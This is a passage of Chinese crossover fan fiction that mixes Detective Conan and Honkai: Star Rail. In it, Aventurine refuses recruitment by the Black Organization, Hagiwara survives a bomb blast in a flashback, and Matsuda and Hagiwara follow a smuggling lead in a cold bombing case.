别问为什么那么大个酒橱里没有曼哈顿鸡尾酒中常用的黑麦威士忌,波本见不得那个脏东西。 贝尔摩德:“没问题。” “我也要,”砂金坐到贝尔摩德对面,也开始点单,“给我来杯最贵最好喝的!” 砂金不懂这边的酒品,但挑最贵的总没错。 波本冷笑一声,“洗洁精兑苦精、点缀苦杏仁要不要?”真把他当调酒师用了? “呃,洗澡水风味?” 砂金摇头,实在不知道他哪里招惹到安室透了吗,今天火药味怎么这么重,“那算了。” 亏了砂金没把疑惑说出口,不然安室透真的会想让砂金体验体验在桌子底下做贼似的躲上一个小时、最后还是被熟人抓了个正着的尴尬感觉。 死了线人什么的是安室透丢出来迷惑他人的烟雾弹,但社死是真的社死,所以在“波本厌恶孔雀”这个人设上、安室透发挥的还真有几分真情实感。 [……]没人搭理的监控摄像头沉默了一会儿,[诸位,喝酒误事。 ] “朗姆先生也要来一杯吗?”波本见人怼人、见鬼怼鬼,“我等下可以把酒浇在摄像头上。” 在聊天室一事的处理上确实理亏、对不住波本的朗姆不吱声了,只是在思考……波本终于加班加疯了吗? 凭借公款吃喝的塑料搭档情,成为唯一没被波本怼了的人,贝尔摩德勾唇笑得很是漂亮, 难怪砂金喜欢无视她,贝尔摩德亲身试验了一下,无视别人,尤其是无视朗姆那个没事给她找事干的家伙, 确实挺爽的。 第69章 最后, 波本还是没能如愿把酒浇到那个恼人的摄像头上,不过倒是给砂金调了杯简单粗暴的下水道鸡尾酒、用拖盘放到了砂金面前。 砂金沉默地看了看波本一脸的假笑,又看看桌子上那杯还在咕噜咕噜冒着絮状棉密泡沫、颜色外形怎么看怎么像真.下水道污物的恶心玩意儿, 砂金眼神示意……你是想让我, 把这杯你嫌弃的甚至不愿意用手碰的酒、喝进肚子里? 有问题吗?安室透回以一个“单纯”的目光。 “……朋友, 我怀疑你想杀了我, ”砂金伸出手指, 一点点地把拖盘推远一点, “并且证据确凿。” [咳咳! ] 朗姆狠狠地咳嗽了两声,终于把跑偏的注意力拉了回来, 犯罪组织的成员太有个性就这点不好, 不好管理。 [孔雀…或者说是砂金, ]朗姆努力找回被贝尔摩德和波本弄丢到不知道哪去了的组织逼格, [想必你应该对我们有了个初步的认识了吧…… ] 贝尔摩德这个大明星、克丽丝·温亚德的真容,门外超越当代科技水平至少百年的虚拟技术,及至如此大规模的地下基地……等等都足以证明组织的可怕实力, 朗姆想象的很好,可惜他碰上了唯一的例外, 砂金不认识克丽丝·温亚德,看不出来组织万千人员潜伏在各行各业中的可怕,星际的科技技术更是能甩组织好大一截,至于地下基地……石心十人的私人住所最小的都有半个星球大的生态舰, 所以朗姆注定看不到砂金忌惮震撼的表情了——砂金目前为止,最大的震惊还是面前安室透端上来的那杯、看上去喝了会生不如死的鸡尾酒。 “有是有了一些了,”砂金也不否认组织领先于当前社会水平的不简单, “那么这位监控摄像头先生,你想说什么呢?” [加入我们。 ] …… “我拒绝。” —————————— “……总之,哎呀、反正就是这么回儿事了。” 与此同时的另一边,萩原研二喝了口水歇了歇,终于把事件的来龙去脉、一五一十地都告诉了电话那头的伊达航, 萩原研二和松田阵平其实是在找七年前未落案的一名炸弹犯。 …… 七年前的萩原研二还是个初出茅庐的警校生,一毕业就跟着同样年轻的松田阵平一起被特招进了爆处班。 那时候的两个家伙穿上工装、都还透着青年人蓬勃向上的朝气、而不是社畜牛马死气沉沉的班味, 青春热血、意气风发,谁看了谁不都得夸一声好小子? 更别说萩原研二和松田阵平还都是个有本事的好小子。 今天你出勤排个弹、明天我训练组个新式模型,幼驯染两个对着卷,硬生生地在才入职半年多的时间里,凭本事挤上了队长的位置。 在很吃资历的国内,这个升职速度是极为恐怖的,两个人堪称爆处组内冉冉升起的耀眼双子星,爆处组的组长见了谁都挺着个腰杆、自豪自己队伍里有这样的两个人才。 但耀眼的不只是恒星, 还有流星。 一声警报,两处炸弹,萩原研二和松田阵平分头开始行动,在出发前碰拳告别的两人都以为这只是一次普通的出警。 萩原研二去到的是一幢居民楼,炸弹在20层,很高,需要疏散的人员也很多,萩原研二干脆脱了闷热的防爆衣,这样还更方便行动走动——反正炸弹真的炸了的话,防爆服也只能起到留个全尸的作用。 为了防止有人没有听到警笛和警报通知、或者是有行动不便的居民还没离开,萩原研二带着队员们是顺着楼梯一层一层往上走的,延路顺便一户一户的敲了敲门, 甚至不忘帮一些匆忙离开、忘了锁门的民众把门关上,事后找开锁师傅开门,总比家里被顺手牵羊了要好。 在临近二十层的楼道里,“哐咚”一下的声响吸引到了萩原研二的注意。 “你们先别跟过来,”萩原研二抬手制止了身后的队员们,让人守在楼梯间的拐角盲区里。 快到炸弹所在的层楼了,突然有异常的声响发出、萩原研二也不确定是不是犯人仍停留在了现场,或者是犯人布置了什么陷阱, 最后是萩原研二一个人、小心翼翼地摸进了楼层内。 抬眸望去,过道里空空荡荡的,似乎没有什么异常,一道刺目的反光突然刺进了萩原研二眼里,萩原研二眯了眯眼走近,才发现那是块卧在阳光中闪着光的碎石片。 真是奇怪了, 萩原研二没第一时间上前捡起石头,反而是环顾了碎石片一周,走廊、廊顶、门间住户门口摆放着装饰物的鞋柜…… 看了一圈,萩原研二都没看出来这块石头能从哪里掉下来的、再滚到路中央,甚至石头一圈也没有其他破碎的碎片。 它总不能是凭空出现的吧? 排除了附近有人躲藏的危险后,萩原研二快步上前这才捡起了这个不知道从哪来的碎石片, 碎石片不算小,足有小半个巴掌大,通体翠青色,裂口仍很清晰,一边还镶嵌着半圈……应该是银制的花纹装饰吧?萩原研二掂了掂、还有几分重量, 萩原研二没怎么研究过珠宝钻石,他更喜欢研究等比缩小的跑车模型和新式炸/弹模型。 所以他看不出来碎石片是什么材质的,硬要说的话、萩原研二觉得有点像翡翠——不懂的人都这样,绿色的玉石一律视作翡翠,像玻璃的宝石一律当做钻石。 反正,虽然是碎的……但萩原研二能看出来这应该是个什么珠宝饰品?说不准破碎的样子是有意做的造型呢? 一些奢饰品的设计,就连审美很潮流的萩原研二也看不懂,但卖的还很贵。 刚才的声响应该不是石头发出的吧? 凭空出现什么的、果然还是不太科学。那应该就是住户在撤离的时候不小心落在这的? 想着,也怕这是很个值钱的奢侈珠宝,丢了会让主人着急,萩原研二便将碎石片塞到了自己的口袋里,准备等一下任务结束了交给组长、再贴个寻物启事还给失物的主人家, 随后萩原研二继续开始寻找起异响的可能来源,可惜四处都找了一遍、连停跳的炸弹都被萩原研二翻出来了,仍旧没找到可能发出声音的存在。 一无所获的萩原研二皱眉, 总不能是他幻听了吧?萩原研二自认为他的心理素质和身体素质都还是很不错的,不至于出个普通的小任务、还能紧张到幻听的程度。 那就是……见鬼了? 第70章 松田阵平拆完弹给萩原研二打过来电话的时候,萩原研二还蹲坐在停跳炸/弹的旁边皱着眉思考自己是不是还忽略了什么东西, 不容他不小心,这事情发生的真得太奇怪了。 莫名其妙的, 找不到来源的声响……要放在一般情况下, 萩原研二还可以置之不理, 但现在可还在犯罪现场啊! “喂, 小阵平……你那边忙完了吗?”萩原研二问了一声。 [你还没完事?什么样的炸弹能这么棘手…… ]松田阵平有些意外, [反正炸弹已经停跳了,不好拆就带到空旷地带直接引爆算了。 ] 引爆炸弹,也是排弹作业的一种方式, 甚至在一些情况下会比徒手拆弹更加安全。 “呃……其实是遇到了一点意外情况。” 而就在萩原研二组织语言准备把自己遇到的奇怪事情告诉松田阵平之时, 嘀答一声, 打断了萩原研二的思路, 静止的数字又开始跳动了。 意外, 总是如此的突如其来。 来不及和松田阵平再说上一句话, 萩原研二条件反射地冲身后的战友们吼道,“下楼!撤退——!” [hagi——? ! ] 电话从萩原研二手中脱手,再伸手时捡起的却是死亡的倒计时。 萩原研二不知道这枚炸弹的威力具体有多大,但至少在这几秒中内、他可以把危险带得离自己的队员们更远一些, 匆忙的脚步声踏在地板上,滴答滴答的一声声倒计时好像被无限的拉长, 这算是走马灯吗?逆行中的萩原研二无缘由地想起了那一天, 无意间在茶水间里听到的交谈, …… “那个新来的、叫萩原的那家伙……也太傲慢了吧,” 冲了杯咖啡准备出门的萩原研二顿时尴尬地停住了脚步、没有从饮水间出去,而仅半扇推拉门之隔的走廊上,对话仍在继续, “上次那个任务,明明该轮到我执勤的……结果也不知道他和组长说了什么,临时就换成了他去,功绩全落到他头上了。” 听声音,萩原研二认出了对方,是和他一起竞选队长职务的一位同僚,最后因为那个任务导致对方的功绩落后他一步、无缘队长之位。 “很难说他是不是故意的……” 其实萩原研二还真不是有意的, 只是那天他临时发现那枚炸弹的结构有些问题、怕出意外才去找组长换的人,萩原研二刚好那段时间在研究新式炸弹,比这位混了多年资历的同僚多了一点经验罢了。 萩原研二摸摸鼻子,虽说他很擅长社交、但也没办法让被他抢了竞升职务的同僚毫无怨言,谁遇到这种被横插一脚的事、都会不满的。 甚至可以说,就是因为萩原研二和谁的关系都还不错,私下里的一些小吐槽才更多,因为大家都知道他不会在意这些小矛盾, 换做松田阵平就不一样了,那家伙脾气爆,如果知道谁在背后说小话,那是真的会闹到打起来的地步。 为了防止小阵平再替他打报不平、找人干架挨处分,萩原研二从来就没告诉过松田阵平这一类的小事,甚至还有意帮着那些人进行隐瞒。 “可能天才都这样吧,别看他看上去很好说话……实际上,我有一次想申请到他那组参与训练、想着从他那学点什么,他笑眯眯地就把我给拒了。” 啊,这件事……萩原研二同样有点印象,但也不是萩原研二藏私,而是组内请教的人太多了,小阵平那组有些不敢和小阵平说话的人也会来找他问问题,萩原研二那时候真的忙不过来了。 “可能天才都看不上咱们普通人吧,实战拆弹也是,只要是上些难度的任务、他都是一个人上,也不知道是不是怕我上去了再给他拖后腿……” “老是实战讲解一些停跳的或者只是半成品的垃圾炸弹,我也学不到什么新东西啊!” 这个抱怨倒是没太冤枉萩原研二,萩原研二他不喜欢带队员实战讲解案例,总感觉危险性太高了,也就排除危险后的一些任务会带队讲讲实操。 零零散散的抱怨挺多的,等人聊完离开,萩原研二手里原本有些烫口的咖啡都温了,抿了口咖啡、萩原研二没事人一样回去继续坐班, 工作嘛,或多或少都会有点小磨擦的,这种事情很正常,不值得费心钻牛角尖, 更何况,有些点对方也没说错,萩原研二的确有些作为天才的骄傲在身上。 有看不惯萩原研二的人,当然也会有真诚与萩原研二交心的人。 “傲慢嘛,听上去也不算是个坏词,”萩原研二也曾笑呵呵地对听不惯那些小话、专门来向他告小状的队员说过,“难道我没有可以傲慢的资本吗?” 他这么年轻,这么优秀,前途似锦、未来可期,说句天之骄子、人中龙凤都不为过, 那么凭什么不允许他骄傲? “但队长你明明是好心替他们规避风险,却被那么误解……”队员依旧愤愤不平,“都是干这一行、危险的任务哪里能只靠你一个人去干,要我说、队长你就不该那么护着他们。” “因为是我,所以只能是我,” 骄傲如他,萩原研二心里自有自己的责任, “我有能力做到最好,我有可能将危险降到最低,我冠以天才之名、自然要做天才该做的事。” 所以每一次出警,都是萩原研二冲在最前面、直面危险, “保护这个词不是谁的专属,都是干这一行的、不代表就不需要被别人保护了。” 他可是同僚们口中的萩原队长, “我保护我的队员们,就是我该做的事。” 爆处班的任务是让民众远离危险,那他的任务就是让队员们远离危险,带队多少人出警、他就要带多少人回去, “这就是我……嗯,那个词怎么说的?” 如果一定要减员…… “啊、想起来了,” 擅自背负起沉重责任的萩原研二竭力将炸/弹抛向远处,回忆闪过, “这就是我傲慢的原罪。” 那就先从他减起好了。 …… “轰——!” 爆炸的热浪将萩原研二猛得掀起吹开,身躯控制不住地被拍到狭窄的墙壁上,哐当一声落地,口袋里的奇怪石头不知为何、莫名地滚了出来, 大脑一片空白的萩原研二甚至没来得及感受到疼痛,一声更为雄浑震耳的未知轰鸣炸响在意识之中…… …… 【总监大人,为什么您不让我们这些部下们替您前去试试水呢? 】 【噢?为什么突然这么问,特里纳? 】 【至少那样,您不必承受这种完全没有必要、完全可以提前发现并规避的伤势。 】 【然后呢?让你们死在探查的前期路上? 】一声轻笑,那人似乎是在打趣,【你们可没有我的这般好运,所以真的会死人的哦~】 【还是说我不够了解我的部下们,倒不知你们这般喜欢求死的刺激……】 【那不一样,总监大人……我们作为部下的职责就是为您分忧效力,因此死亡那也只是理所当然。 】 【我希望你能认清一点,我的责任是赌上所有,你们的任务则是为我清点胜利后赢回的筹码,而不是替我去送死。 】 【不是为了您,我早晚也会有一天为了别的什么而丢掉性命……我这种签了终身合约的人、在公司眼中也就只是一种随处可见的耗材,您不必如此怜惜。 】 【命运不公如此,如果真到了必须要面临死亡的时候……那就等到骰子停止转动的那一刻再说吧,至少我这头现在用不着拿你们的命铺路。 】 【总监大人,我不明白……】 说话的人,比提问的人还要感到疑惑,【还有什么好不明白的地方? 】 【哪里都不明白。 】 【简单的数学问题罢了,特里纳……我自己一个人前往那里,我有自信就算风险巨大、也不会轻易地死在那里,所以为什么还要有意亏本似的往里面填上你们的命? 】 【这是……您对我们的保护吗? 】 【哈哈哈哈哈……特里纳,你说话真有意思,原来像我这样的人、也能有这么“伟大的一面”吗? 】 像是听到了什么笑话,说话之人笑得愉悦又张扬,【听惯了粗言秽语,猛得再听到这种恭维,我的肚子都要笑疼了哈哈哈嘶、该死!真的扯到伤口了……】 【不、绝对不是恭维! 】那人有些慌乱地急忙解释着,【您所走的道路就是您最不可撼动的、最崇高的意志体现! 】 【哈哈哈嘶…呼,哈哈哈哈哈……】 【您别再笑了!我已经在通知医生们过来了……】 【没事,我才想起来这回事……也对、我怎么说也是个走上存护命途的行者,有点存护意志的表现好像也没什么毛病,】 【不过嘛……】 又是一个转折, 【……不过什么? 】那人追问, 【我有能力存活下来,所以不需要别人为我牺牲什么——我更喜欢把这种心理,称之为……】回答的声音顿了顿,似乎在寻找一个合适的形容词与说辞,【哦、对,想起来了,】 【这是运气带给我的“傲慢”,】 问答的声音忽得远去,徒留下幽幽显得空灵的余音在回荡…… 【因为是我,所以只能是我,】 不必深思, 【仅此而已。 】 …… 强烈的情绪波动被同谐捕捉,虚无的幻象连接了无限接近死亡之时的片刻记忆,存护的意志引发奇迹般的共鸣, 伟岸的身影浮现于万象虚空,神祇的瞥视仿若穿透了异界的时空,投向触及了其命途的一界凡人,过去的重锤于这一刻发出回响、 【筑墙——! 】 70-80 第71章 后来发生的什么,萩原研二其实已经记不清了,严重的脑震荡让他逆行失忆了好几天, 等脑震荡好的差不多了、恢复记忆了的时候,那时的经历就像蒙了层薄纱,朦朦胧胧地让人看不真切。 萩原研二对此次事件最大的记忆点就是——好酷啊、小阵平!我竟然还活着! “啪叽!” 挂着黑眼圈、胡子拉碴的松田阵平一巴掌抡在了萩原研二背上,冷笑, “说正事!爆炸发生前你有看到什么吗,具体是什么情况。” “嘤……”脚上还固定着石膏的萩原研二委屈巴巴, “hagi酱真的记不清啦,耳朵里吵吵闹闹的好像有人在说话,还隐约有看到了一个……呃,只有两只手的石头人在抡锤子?” “那锤子抡得可真响啊, 一下子把我的走马灯都敲得不知道走到哪……哎哟!” 松田阵平不客气地又给萩原研二背上补了一下,不打脑袋还是看在这家伙现在脑袋不太好用、怕打傻了的份上, “脑震荡应该还没好全, 尽说些胡话。” “哈哈哈……的确像是胡话,”萩原研二摸了摸鼻子,“问我现场情况,还不如小阵平你直接告诉hagi酱一下答案呢~” “老实说,到现在我还不清楚我是怎么活下来的……” 而且还是完整无损的活下来——对比缺胳膊少腿、被炸成碎片而言,轻微皮外伤、腿骨骨折、两条肋骨骨裂、外加脑震荡这种伤势真的很不值得一提了。 “犯人技术不到家、或者是买到过期假货了吧,”松田阵平刚摸出烟、看了一眼病号又把打火机收了回去,干咬着闻点烟草味,“炸弹威力没有预计的那么高,只炸倒了部分墙壁, ” “你平时护着的那些队员冒着二次爆炸的风险,有的连自己的防爆盾都来不及扛、七脚八手就把你从现场拖出来了。” 怕碍事的队员直接丢了装备冲在前面,长点心的家伙举个盾掩护着没防备的队友抬着唯一的伤员撤退…… 也因此,萩原研二免受了后续火烧烟熏等进一步更严重的伤害,松田阵平庆幸萩原研二的好运,还好离炸弹较远,倒下来的砖石没把人再砸出来个好歹。 “他们也太胡来了吧,还好都没事,”萩原研二哭笑不得,“救人也得注意安全啊……” “你还好意思说他们?”松田阵平凶狠地瞪了萩原研二一眼,“你的防爆衣哪去了?” “这、这个,对不起嘛,我也没什么事就好……”萩原研二冷汗一下冒了出来,这冷摆一打、也让他发现了刚刚聊天内容中的一个问题, “小阵平,你刚刚说炸弹的威力……不高?” 萩原研二后知后觉地愣了下,都可以把他这个一米九的大男人掀飞出去砸墙上了的威力还不高吗?他当时还以为自己已经被撕裂了呢。 现在回想那时片刻的残留记忆,萩原研二总觉得那种程度的爆破,把整屋楼炸了都没有问题啊? “而且……我离炸弹,也不算很远吧?”他应该没有一把将炸弹投出百米外的那种超能力。 “记忆混乱的后遗症?”松田阵平听了萩原研二的疑惑推测道,“一时压力过大也容易把幻想虚构的事情当成现实,你可能是把那时候的最糟糕设想也编到记忆里了。” “反正总不能是你直面爆炸后,还能站……坐在我面前聊天吧,hagi超人?” “噗,”萩原研二被逗笑了,“也是,记忆做不了准,我还活着就是最好的现实。” “对了,我主要是想问这个,”松田阵平从口袋里拎出一个透明证物袋,“送你去医院的时候,你好几个队员费了老大劲才从你手里扣出来的,” 萩原研二一时半会没来得及吐槽小阵平怎么又把证物揣自己兜里了,视线先一步被袋子里的东西所捕获, 那是一块很眼熟的、小半个巴掌大的类圆型翠绿色碎石片。 原来我是一直握着它的吗?萩原研二迷茫,又是记忆错乱? “听你的队员说,爆炸发生前你好像发现了什么异常,所以才一个人去调查的,” 松田阵平又是瞪了一眼不穿防护的笨蛋,“后来就发现了这个石头,我想着它是不是和案子有什么特殊关联才让你握得那么紧……” 不吉利的形容一下,和死者手里攥着指证凶手的线索似的。 “我也不清楚,”萩原研二现在已经很怀疑自己的记忆里还有多少是真的了,“这石头是我无意中捡的,没有民众失物招领吗?看起来还挺值钱的。” “没,”松田阵平把石头连袋子一起丢到萩原研二怀里,“你养伤这几天找专家鉴定过了,就是普通的砂金石,丢鱼缸里做造景的那种石头……根本不值钱。” “这样吗……”萩原研二再次掂了掂碎石片,不知道为何、他总觉得这石块好像和之前给他的感觉有哪里不一样了, 可仔细观察观察,又像是他的错觉。 “确定和犯人没关系的话,那会怎么处理它?” “可能随便丢哪个垃圾桶里?” 最后萩原研二是没舍得让人丢了这个来历奇怪的石头,干脆带回家摆在了自己的床头柜上当个漂亮摆件做装饰、好歹也能纪念一下他这次的死里逃生。 爆炸案的犯人却一直没有找到,那家伙很会藏、不二次作案的话很难找到尾巴, 这么一想,抓捕一事其实也可以慢慢来,反正萩原研二不希望真的发生第二次爆炸案。 …… 这么一转眼,七年就过去了……当年的案子已经没多少人在意了、基本上默认那就是个悬案了,可有个人却始终耿耿于怀。 这个人不是差点死掉的萩原研二, 而是松田阵平。 松田阵平差点亲耳听着从小和他一起长大的挚友死在他耳边,甚至也是在他的影响之下、萩原研二才选择去当的排弹警察, 那时的松田阵平简直不敢想象,要是那般鲜活爱笑、意气风发的萩原研二真的就这么猝不及防、没有未来地死去了,那他会变成什么样…… 受伤的人是萩原研二,差点患上ptsd的人却是松田阵平。 所以萩原研二一直也在默默地陪着松田阵平寻找凶手,不是为了给自己报仇、而是为了帮小阵平拔掉扎在心脏上的那根刺。 案件的转机则是出现在一周前,刑事部的大行动清扫出了不少案件背后的隐秘联系, 松田阵平在一起危险物品走私案中找到了新的线索。 第72章 “我拒绝。” 砂金这一声回复, 干脆利落地回荡在公议室中,引得贝尔摩德和安室透纷纷侧目。 [我这只是告之,而非询问你的意见。 ] “我也一样,而不是为了听你在这废话个不停。”砂金的态度很是强硬,像是个没得商量的话题。 陪八木海玩过家家是因为他“有求”于八木海,八木海本身也不是罪大恶极的人,但加入这个不明不白的犯罪组织对他而言能有什么好处? 回报都还没找到法子的砂金不会让伊达航突然后悔救了他的那一天发生。 [你应该知道, 如果你拒绝了我们, 你今天很有可能便走不出这扇门了吧? ] “真不好意思,我是个赌徒, ” 刚想端杯酒、添添气势的砂金……实在对那杯下水道饮品下不去手,手腕一转将贝尔摩德点的Manhattan端在了手中轻晃, “我就喜欢赌小概率的事件、玩个刺激。” 贝尔摩德:“?” 你玩刺激拿我的酒干什么?我一口都还没喝呢! 早有预感,提前把给自己调的酒端到了手里的安室透在砂金侧方的沙发上落了座, 忍不住勾唇笑了笑, 他就知道,砂金这个混蛋在场、就一定会有人倒霉, 所以别来霍霍他了,找贝尔摩德去吧! 公款吃喝的搭档情真的即塑料又易碎。 贝尔摩德也很嫌弃那杯下水道鸡尾酒,淑女的风度又让她做不出和砂金抢酒杯的动作,只能意有所指地道,“敢喝吗, 孔雀?” 就不怕有人偷偷地在里面下了毒? “有什么不敢的?又不是第一次喝了,”砂金抬起手冲贝尔摩德虚空干了杯、反手就将杯沿靠在了唇齿上,杯中的酒浸樱桃轻轻晃了下、喉结滚动…… 眼睛一亮, 砂金不由得道,“安室, 你调酒的水平不错,比之前在那位女士手里拿到的酒品好喝多了。” 砂金还能在什么时候喝过贝尔摩德手上的酒? 只有在吉野浩太郎的赌场时,砂金从侍者手上拿过一杯罢了——没错,那位侍者也是贝尔摩德假扮的。 砂金从一开始就有喝贝尔摩德之酒的勇气,也说明他从一开始就有回绝组织邀请的准备。 品出了砂金的潜台词,贝尔摩德轻轻摇了下头,“之前只是些小场子上的普通招待罢了,当然比不过我们波本大人的亲自出手。” 之前的小打小闹也就算了,你确定在我们的亲自招待下的此时,也还要继续固持己见吗? “没往里加点见效快的毒药,可真是我的失误啊,”波本懒懒地加入话题,“我下次会让它更好喝的,” “不过你不一定有这个口福了……” 继续拒绝,那下次可轮不到他出手教训某人了,波本暗示道,确定想好了吗? 在场的就没有心干净的,心眼子比马蜂窝都多,换个脑子跟不上的都得带个翻译才能听得懂这些家伙到底在聊些什么玩意儿。 “安室你竟然还想有下次?”砂金一脸感动,故意误解道,“没想到……我的朋友、你竟然这么关心我啊。” 竟然还会这么关心的“警告”他? 波本有被恶心到,连哑谜都不想打了,“我只怕你死的太快,我还不够解气!” “别那么小气嘛,”砂金耸肩,“之前的事只是开个小玩笑啦,我给你赔个不是,你看你也没缺胳膊少腿的,就别这么斤斤计较了好吧?” “朋友之间的相处,讲究一个大度。” “如果你对朋友的意义这么与众不同,” 波本忍不住讥讽地反问,“那当你的朋友还挺考验技术的,首先就得学会从警方的包圈里脱身的一百种方法,防止哪天又被你卖了跑不出来、让你痛失友人。” “朋友要是喜欢这种刺激,我也不是不能继续满足?” 好了,砂金继续品酒,情报交换完毕,他大概知道安室透给自己编的脱身剧本是什么样的了。 “之前的事”其实砂金并不清楚,谁知道安室透给他又编了什么剧本,但“开个小玩笑”这种说词足够应付一切剧本, 安室透也很顺利地捕捉到了砂金的询问信号,借着话头就将大致情况隐藏在了对话之中,极为小心又大胆地完成了一次信息共享。 [静一静! ] 朗姆再次叫停了有些跑歪的话题,[波本,你继续调酒去。 ] 别在这坐着了,波本和孔雀放一起,没两分钟就要吵起来……如果不是有监控隔着,他这个急性子真想把波本踢出门继续加班去。 虽然代号成员之间都是平级,但朗姆作为组织的二把手,也算是他半个上司。对方认真起来、波本的脾气再怪也不能和朗姆硬碰硬, 趁着对方觉得理亏,嘴上占几句便宜就差不多了,反正情报也该交换的都交换好了,安室透并不反抗朗姆的命令,不过临起身时习惯性的嘴了朗姆一下, 波本啧了声,“摄像头又想喝酒了?” [……给贝尔摩德调。 ] 朗姆想,要不还是再找点任务给波本干吧。 “谢了、亲爱的。” 没有上级的贝尔摩德悠闲得很,也不知道是在谢波本帮她再调一杯酒,还是在谢他又怼了朗姆,反正她挺喜欢看见朗姆吃憋的, 公款吃喝的搭档情还可以再救一救。 [既然你想赌那个小概率事件, ]朗姆强行纠证回正题, [那么…… ] [告诉我、你的资本在哪里? ] 砂金吐出了个人名, “埃多阿尔多.鲁索。” —————————— 埃多阿尔多.鲁索,一个意大利人,近日来国内旅游度假。 当然了,那只是表面的伪装,实际上的埃多阿尔多.鲁索是一名境外黑手党,很有名气的那种。 至于入境的理由……呵,反正松田阵平是不信对方正在“旅游度假”的那套说辞,说不准暗中就打算继续将烈性炸药、危险枪支之类的东西售卖到国内。 虽苦于没有证据,但知道点内幕的人都清楚,国内不小一部分的违禁危险品的源头,都和对方背后代表着的黑手党脱不了关系。 而在发现刚入档的一份有关七年前的一批走私货品记录档案中,有埃多阿尔多.鲁索那伙人的部分蛛丝马迹之后,松田阵平就有了新的思路, 找不到犯人…… 那就找到当年出售那批违禁品的商家,通过上线的售卖记录往下查找,多少都可以将搜所的范围大大缩小的吧? 当年的炸弹并不是普通的、民间自制的那种土/炸/弹的类型,从原料查起,一定能有所收获! 正好跟据松田阵平和萩原研二的多日调查,埃多阿尔多.鲁索很好赌,经常出现在各种赌场的附近,两人这才偷偷摸摸地往那种危险的地方钻——松田阵平要查,萩原研二肯定不会让对方一个人去的。 一开始不告诉班长则是因为……还是因为那个原因,警视厅全员加班中,松田阵平和萩原研二没理由、也不好意思麻烦同僚们停下手上的案子,陪他们去查一桩七年前的旧案, 而且花费人力物力地查了,还不一定能够破案。 [你们的胆子真是……大到过分了吧? ]伊达航无力地道, [埃多阿尔多.鲁索要是那么好调查的,他也不会到现在还在逍遥法外。 ] 外交问题,上层的施压,还有些不可细说的政治原因……抓捕调查埃多阿尔多.鲁索一事,一直都是个只能不了了之的难题。 “所以……班长你也不打算支持我们吗?”萩原研二替不想说话的松田阵平问道,他们在去档案查资料的时候,就已经被好几个老警官劝告过了, 他们都不看好萩原研二和松田阵平的行动。 [你们不要轻举妄动,等我几天, ]伊达航最后下了“命令”, [你们两个爆处班的才能看到多少内部资料,等我细查一下,再看看怎么处理这案子…… ] 还以为又会被泼冷水的松田阵平和萩原研二的眼睛顿时就亮了起来, 果然班长还是那个班长! 萩原研二欢呼了一声,“班长你果然还是最爱我们的!” …… “胡说八道!”伊达航急了,“我最爱的人是娜塔莉!” [哈哈哈哈哈……我错了我错了,哎呦、别掐我了小阵平! ]电话里传来打闹的声音, [谁让你说那么肉麻的话的, hagi ? ! ] [对了对了,那还有砂金的事要怎么办呀,班长? ] 这……伊达航思索了一会儿,还是对两位同期说道,“你们就当作不知道吧。” 第73章 “不知道?” 打闹着的萩原研二和松田阵平两人齐声重复了一声,显然没搞懂这种处理方式是什么意思。 [可能和……降谷他们有关,不方便细说。 ]伊达航含糊的解释了一下,相信同期们能听懂他的言下之意, [当成是和普通人正常相处就足够了。 ] “那……” 萩原研二的话才刚出了一个头, 就听到伊达航那边果断直接的一个字。 [抓。 ] …… 那要是砂金他做了些违法犯罪的事,又正好落下了罪证呢?萩原研二想这么问的,砂金出现在那种地方……真的很难让人相信对方会老老实实的不去碰一些红线。 而伊达航有自己的原则标准,有罪名又证据确凿……那便抓。 在成为砂金的监管者之前, 他就是一名警察,或者可以说正是因为他是一名警察, 所以才成为了砂金的监管者, 警察的工作是抓捕犯罪者,无关感情怎样,就这么简单。 —————————— “我回来了……” 砂金弯腰把鞋子拾到鞋柜上,习惯性地道了一句,也不知道「砂金」又带着卡卡瓦夏去哪里疯了, 进门没收获到来自卡卡瓦夏的一个大大的拥抱,还让砂金有点不适应。 “老师,您今天回来的有些晚、是遇到什么麻烦了吗?” 守在沙发上的236听到声音从沙发背上探出了个脑袋,任砂金如何冷暴力、 236都跟个粗神经的笨蛋一样围着砂金转,砂金原本不多的良心都有些不忍了。 “群织说您的定位信号失踪了很长一段时间……” 砂金再次绕开236,拉开冰箱门, 忽略掉已经分类放好的餐盒、拿了几个鸡蛋出来准备煎个简单的鸡蛋饼做夜宵, 和摄像头先生聊得有点久,肚子都有点饿了, 毕竟酒水是喝不饱的。 “不过还好老师失联前给那个警察发了消息,我知道您肯定不会出什么事的, ” 236变身跟屁虫跟在砂金几步远的身后,既不影响砂金走动、也不会让砂金听不清他说了什么,“如果下次您可以再给我留个言就好了,我会感到十分荣幸!” 喋喋不休的有点吵,砂金想着,终于在看到236去捡他丢到垃圾桶里的鸡蛋壳时、忍不住出声了,“那种东西你也要收藏吗?” 垃圾就大可不必了吧,砂金心情复杂,尤其是236还住在他这,捡一堆垃圾也不知道要放在哪里、要是真长蟑螂爬虫了可怎么办吧。 “啊,”236眨下眼睛,“我看老师您养在后院的花长得不太好,所以准备自制一点花肥……” 鸡蛋壳简单处理一下,会是很好的肥料。 不是收藏啊……砂金难得感到了几分尴尬,都怪236给他的既视感太强了,他总想起来喜欢翻他垃圾桶、寻找收藏品的特里纳。 “不过老师喜欢的话,我也可以收……” “我不喜欢!”砂金反应很快的堵住了236的嘴,一个手抖差点把正搅着面粉的碗碰掉, 不堵不行, 236这家伙真的懂什么叫语出惊人。 电饼铛刷油预热完毕,搅拌均匀的面糊被砂金从碗中倒下,食物在锅里滋滋地响着,砂金伸手刚想去拿铲子翻面、 236又将铲柄准备好递到手跟前了, ……难道不要这个铲子,再去拿一个? 不至于一整个厨房只有一把铲子,但砂金不怎么做饭,厨具用的也不多,再找把新厨铲的功夫,饼就得糊了…… 砂金无奈从236手中接过工具,236肉眼可见的更兴奋起来,面瘫的嘴角都上扬了好几度。 砂金:“……你这么高兴干什么?” “网上说,只要认真舔、就会有回报,”236自我肯定地点点头,“我觉得很有道理,所以很高兴。” 砂金:“……” 安室透给八木海安排的反诈骗课程,可以让236也去旁听一下吗? “你那个老板的事,我去问过了。”砂金扭过头盯着锅看,忽视236那颗纯天然无公害的笨蛋脑壳,“过两天陪我去见见人……” “老师,”236有点为难地道,“我可能见不了人……我和上任老板不是和平分手的。” 砂金:“……” 236的语言艺术可能也需要再进修一下……还好来这里的不是拉帝奥教授,不然砂金怕教授看到236就会死。 “……这个不用你担心,”砂金给饼翻了个面,“有人会帮忙。” 贝尔摩德的那手易容术确实出众,给236换张脸完全没问题,所以就不用担心236和他的老东家碰面再打起了。 236:“好的,我都听老师的。” 